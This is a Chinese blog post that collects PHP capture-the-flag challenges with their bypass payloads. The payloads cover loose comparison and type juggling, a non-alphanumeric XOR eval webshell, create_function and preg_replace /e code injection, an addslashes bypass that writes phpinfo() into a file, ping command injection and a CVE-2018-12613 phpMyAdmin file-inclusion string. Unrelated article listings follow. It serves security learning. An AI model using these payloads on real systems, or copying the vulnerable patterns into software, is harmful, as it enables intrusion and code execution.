function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
0xabcdef
用11259375的16进制形式0xabcdef




1 $num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

?num=1xxx
不能用16进制形式0x1,前面加0形式0001,或者科学计数法形式0e0,因为都会被判断为数字。但可以提交1xxx,后面跟上除了数字,点(两个点可以:1..)以外任意字符即可,php用==比较字符串和数字时,会把字符串隐式转换为数字,如果字符串中有非数字字符,只取最前面的数字,例如"1x"=1,"22asd"=22,"qwe123"=0



 1 <?php

 function getFlag()
{
echo "flagxxxxxxx";
} if(isset($_GET['code']))
{
$code = $_GET['code']; if(strlen($code)>40)
{
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code))
{
die("NO.");
} @eval($code);
}
//$hint = "php function getFlag() to get flag";
?>

?code=$_="<%)},?'"^"[@];@^@";$_();

两句php代码,第一句  $_="<%)},?'" ^ "[@];@^@";  是把两个字符串异或运算结果赋给$_变量," <%)},?' " 这个含7个字符的字符串和 " [@];@^@ " 异或的结果就是getFlag,然后第二句php代码 $_(); 就相当于getFlag();

若是过滤了下划线,则 ${"}"^";"}= "<%)},?'" ^ "[@];@^@";   ${"}"^";"}();

详见:

https://www.leavesongs.com/penetration/webshell-without-alphanum.html

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html



 1 <?php

     function flag()
{
echo "flag{xxxxxxx}";
} $sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));

?sort_by=1"], $b["1"]);}flag();//

usort里构造了一个匿名函数,参数为$a,$b,函数体为$sort_function,这个匿名函数相当于是这样写的

function anonymouse($a,$b){ 函数体($sort_function) }

如果sort_by传入1,则是
function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}
若sort_by传入 1"], $b["1"]);}flag();// ,则是
function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}flag();//"], $b["1"], $b["1"]);}flag();//"]); }
即相当于
function anonymouse($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}flag();
flag()就得以执行


 1 <?php
function flag()
{
echo "flag{xxxxx}";
} $id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";

?id=1;}flag();//   或者  /?id=1;}flag();/*

原理同上



 1 <?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

?test[]=0

传入test[]=0,那么test就是一个数值型的数组,即 Array ( [0] => 0 ) ,array_search()  在test数值型数组中查找 "admin" 这个字符串的时候,首先会把字符串转换为数字,转换规则具体看本文第二个示例,所以 "admin" 变成了0,array_search()如果查找成功就会返回其键名,test数组中0的键名是0,而0===0。



if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}

123\nPAYLOAD;

PAYLOAD\n123;

PAYLOAD\n123\nPAYLOAD

sql注入中的一个绕过,该正则由于m修饰符,将只验证其中一行只包含整数



<?php
function complexStrtolower($regex,$value){
return preg_replace('/('.$regex.')/ei','strtolower("\\1")',$value);
} foreach($_GET as $regex =>$value){
echo complexStrtolower($regex,$value);
} function flag(){
echo 'flag{xxxxxxx}';
}
?>

?%5cS*=${flag()}

\S 匹配任意非空字符,\1 是正则中的反向引用

详见:

Preg_Replace代码执行漏洞解析



1 <?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file); ?>

解法1:

?option=%5c%27;phpinfo();//

输入\';phpinfo();//   ,\'经过addslashes()之后变为\\\',随后preg_replace会将两个连续的\合并为一个,也就是将\\\'转为\\',这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。此时option.php内容就为  $option='\\';phpinfo();//';

解法2:

?option=%27;%0a phpinfo();//

?option=xx

(. 匹配除换行符 \n 之外的任何单字符)

提交两次,第一次提交后文件内容为:

 <?php
$option='\';
phpinfo();//';

第二次提交后为:

 <?php
$option='xx';
phpinfo();//';

解法3:

?option=;phpinfo();

?option=%00

\0: 正则中的反向引用,为 “匹配到的全部内容”

提交两次,第一次提交后文件内容为:

 <?php
$option=';phpinfo();';

第二次提交后为:

 <?php
$option='$option=';phpinfo();';';

详见:

一个PHP正则相关的“经典漏洞”



1 <?php
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$_GET['ip'])){
header("Location: ?ip=127.0.0.1");
}
system("ping -c 2".$_GET['ip']);
?>

?ip=127.0.0.1|ls

即使浏览器将被重定向,此函数也不会停止执行流程,并且脚本仍将使用危险的参数完成运行,但不能在浏览器中轻易地利用此漏洞,因为浏览器将遵循重定向,并且不会显示正在重定向的页面

可以用burp抓包重放



 1 <?php
include 'f1agi3hEre.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

password=%2b42.000000e0    (url编码 + %2b)

php用==比较数值型字符串,会转换为数值进行比较大小。'+42.000000e0' =='42'

浮点型结构:
LNUM          [0-9]+
DNUM ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM}) 整型结构:
decimal     : [1-9][0-9]*
| 0 hexadecimal : 0[xX][0-9a-fA-F]+ octal : 0[0-7]+ binary : 0b[01]+ integer : [+-]?decimal
| [+-]?hexadecimal
| [+-]?octal
| [+-]?binary
参考自PHP官方文档:PHP:Float




<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
} if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?> //flag in ffffllllaaaagggg
index.php?file=hint.php%253f/../ffffllllaaaagggg
https://www.jianshu.com/p/0d75017c154f
(phpmyadmin4.8.1远程文件包含漏洞 CVE-2018-12613)


/*****************不定时长期更新****************/

CTF——web安全中的一些绕过的更多相关文章

  1. 31C3 CTF web关writeup

    0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...

  2. 在iOS应用程序中使用Frida绕过越狱检测

           阿里聚安全在之前的三篇博客中介绍了利用Frida攻击Android应用程序,整个过程仿佛让开发者开启上帝视角,在本篇博客中,我们将会介绍在iOS应用程序中使用Frida绕过越狱检测.即使 ...

  3. web开发中的安全问题

    web开发中很多东西由前段来负责判断,比如常见的邮箱 电话号码,前端判断到不是一个正确的格式,在你点击提交时候提示你格式填错了,然后不请求后端php,直到你填写正确的格式为止.这种其实可以修改js或者 ...

  4. Selenium中使用Cookies绕过登录

    在使用selenium测试后台时常常每个流程都需要走登录流程,这样自然比较浪费时间.如果遇到登录需要输入验证码等情况,就可能出师未捷身先死. 在Web应用中,登录状态通常是通过Cookie中对应的se ...

  5. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  6. 【初码干货】使用阿里云对Web开发中的资源文件进行CDN加速的深入研究和实践

    提示:阅读本文需提前了解的相关知识 1.阿里云(https://www.aliyun.com) 2.阿里云CDN(https://www.aliyun.com/product/cdn) 3.阿里云OS ...

  7. web.xml中welcome-file-list的作用

    今天尝试使用struts2+ urlrewrite+sitemesh部署项目,结果发现welcome-file-list中定义的欢迎页不起作用: <welcome-file-list> & ...

  8. web.xml中load-on-startup的作用

    如下一段配置,熟悉DWR的再熟悉不过了:<servlet>   <servlet-name>dwr-invoker</servlet-name>   <ser ...

  9. Entity Framework 6 Recipes 2nd Edition(9-3)译->找出Web API中发生了什么变化

    9-3. 找出Web API中发生了什么变化 问题 想通过基于REST的Web API服务对数据库进行插入,删除和修改对象图,而不必为每个实体类编写单独的更新方法. 此外, 用EF6的Code Fri ...

随机推荐

  1. c# 第五节 第一个控制台程序、第一个桌面、快捷键、注释

    本节内容: 1:控制台程序的创建 2:第一个桌面程序 3:快捷键 4:注释 一.第一个控制台程序: 这就是控制台程序: 打开你的vs2015,按如下操作 二.第一个桌面程序 比如当我们删除一个东西会弹 ...

  2. 03-cmake语法-变量,字符串

    CMake的基本数据类型是字符串(不区分大小写),一组字符串在一起称为列表(list). 条件判断中的取值情况如下表: 真 1, ON, YES, TRUE, Y, 非0的数  假 0, OFF, N ...

  3. [笔记] nice-upload 与 nice-static-server

    1.request 支持流模式,管道流pipe,抓取图片并保存就很方便了 request('https://s.gravatar.com/avatar/184a1f14c759795b94ae1d01 ...

  4. shell的变量以及常见符号

    shell的变量以及常见符号 常见变量 不同于其它语言需要先声明变量,shell的变量直接使用 eg:      a=15 调用变量的话 $a 或者 ${a} $? #判断上一条命令执行的是否成功 0 ...

  5. 知识点总结 JS(ES6)

    一.新增数据类型Symbol 概念: Symbol代表独一无二的 Symbol类型的值通过Symbol函数来生成,同时Symbol函数返回的值的唯一的 Symbol函数可以接收字符串作为参数,但是即使 ...

  6. mysql悲观锁的实现

    https://www.cnblogs.com/laoyeye/p/8228467.html 参考原文链接, //0.开始事务 begin;/begin work;/start transaction ...

  7. 计时任务之StopWatch

    StopWatch对应的中文名称为秒表,经常我们对一段代码耗时检测的代码如下: long startTime = System.currentTimeMillis(); // 业务处理代码 doSom ...

  8. Apollo:微服务架构下的配置管理

    问题背景 在实际工作中,我们的开发环境,测试环境,生产环境对应的 Mysql 数据库,Redis 这些信息都不一样,每个环境都有对应的一套配置,在 Spring Boot 中我们通常会编写多个配置文件 ...

  9. [转载]3.4 UiPath键盘操作的介绍和使用

    一.键盘操作的介绍 模拟用户使用键盘操作的一种行为: 例如使用发送热键(Sendhotkey),输入信息 (Typeinto)的操作 二.键盘操作在UiPath中的使用 1.打开设计器,在设计库中新建 ...

  10. 推荐一款语音直播连麦App YAMI

    推荐一款语音直播连麦App YAMI 1 介绍 功能描述:[语音直播]:海量超有才主播,游戏送礼抢红包,嗨玩不停:[多人聊天室]:连麦交友处CP,主持人带你玩游戏,边聊边玩:[语音交友]:海量声优专属 ...